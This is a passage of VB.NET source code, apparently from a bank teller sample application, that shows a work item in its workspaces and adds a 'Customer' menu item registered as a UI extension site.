workItem.WorkItems.AddNew(Of BankTellerWorkItem)() bankTellerWorkItem.Show(sideBarWorkspace, contentWorkspace) End Sub Private Sub AddCustomerMenuItem() Dim customerItem As ToolStripMenuItem = New ToolStripMenuItem("Customer") workItem.UIExtensionSites(UIExtensionConstants.FILE).Add(customerItem) workItem.UIExtensionSites.RegisterSite(My.Resources.CustomerMenuExtensionSite, customerItem.DropDownItems) End Sub End Class End Namespace